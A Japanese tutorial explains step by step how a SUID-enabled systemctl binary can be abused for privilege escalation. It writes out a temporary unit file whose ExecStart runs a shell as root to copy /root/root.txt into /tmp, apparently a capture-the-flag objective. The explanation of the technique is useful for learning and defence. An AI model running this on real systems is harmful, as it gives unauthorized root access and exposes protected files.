systemctlコマンドとSUIDを使った権限昇格の仕組みを解説します。

元のコードは ここです。

権限昇格の仕組み

下記のコマンド群の解説していきます。

まずは結論として一時的に サービス(デーモン)を作成し、起動することでroot権限で cat /root/root.txt > /tmp/output を実行しています。

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF

1行目の解説

TF=$(mktemp).service

ここではサービスファイルをを作成し、変数TFにフルパスを代入しています。

mktempコマンドは一時的なファイルを作成するコマンドです。それに .service をつけて、サービスファイルとしています。

$TFの値

$ mktemp  
/var/folders/1m/3xlrqw6d2xl4p2j691g_16680000gp/T/tmp.SRNifRlD
$ TF=$(mktemp).service
$ echo $TF                                  
/var/folders/1m/3xlrqw6d2xl4p2j691g_16680000gp/T/tmp.qj0NJCLX.service

2-6行目の解説

echo '[Service] Type=oneshot ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output" [Install] WantedBy=multi-user.target' > $TF

ここは一塊になっています。シングルクォーテーションの間の文字列を先程作成したサービスファイルに書き込んでいます。

ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output" の部分はサービスとして起動したときに root権限として実行されるコマンドになります。よってこの部分が肝になります。

serviceファイルの中身

$ cat $TF               
[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target

7行目の解説

/bin/systemctl link $TF

ここでは サービスファイルのパスを systemctl コマンドに登録しています。これを行うことで systemctlコマンドを実行したときにサービスファイルを見つけることができるようになります。

8行目の解説

/bin/systemctl enable --now $TF

ここでsystemctlコマンドを起動しています。その結果として root権限でサービスファイルの中身…つまり、/bin/sh -c "cat /root/root.txt > /tmp/output" が実行されます。

以上、解説です。